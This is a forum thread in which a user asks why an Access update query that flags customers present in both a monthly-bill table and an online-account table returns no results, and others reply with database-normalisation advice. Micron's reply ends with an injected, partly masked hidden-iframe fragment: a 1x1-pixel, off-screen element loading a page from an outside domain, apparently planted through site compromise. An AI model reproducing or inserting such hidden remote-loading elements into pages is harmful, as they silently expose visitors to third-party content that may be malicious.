Update record if table A matches table B

[sbalfourbrown]

Hi,

I have a database which holds 2 tables (Pulled from seperate sourses). The first holds details of customers signed up to monthly bills (MB) and the other custmers who are registered on our website (OAM).

Both tables have a uniqueue customer number field and I am looking to identify which customers in my monthly bill table also hold an online account.

The method I'm trying to use is by creating an online registered column in the monthly bill table then run an update query to update this to "yes" if the Unique customer number is held in the oam table. This is what my query looks like

Update Query
Field: OAM Present
Table: MB
Update to: Yes
Criteria: [MB].[UCRN]=[OAM].[UCRN]

It looks right to me but when I run it I'm getting 0 results which is not possible as to be on MB customers should be on OAM.

Any help greatly appreciated

 

[Micron]

Based on what I've gleaned from your post, your issue is more probably more fundamental that it appears to you. Having two tables with customers in both is the root of your problem. This means your db hasn't acheived even first normal form. At the very least, your single customer table with all customers should have a field for OAM and one for MB. However, this would leave some holes (fields with no data in the row) where a customer is one but not the other. That's not unusual since, for example, customer tables regulary contain address information which includes an apartment or unit number. As we know, not everyone lives in an apartment. If there was a relationship between OAM and MB, your database would require another table to maintain a reasonable level of normalization. I sugges you search "database normalization" and find a source that explains it in a way that makes sense to you.******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>

 

[alansidman]

Here is a good primer on the fundamentals of data base design. It will make clear what Micron is referring to and help you to ensure that you have a database that can be manipulated with ease.

http://sbuweb.tcu.edu/bjones/20263/Access/AC101_FundamentalsDB_Design.pdf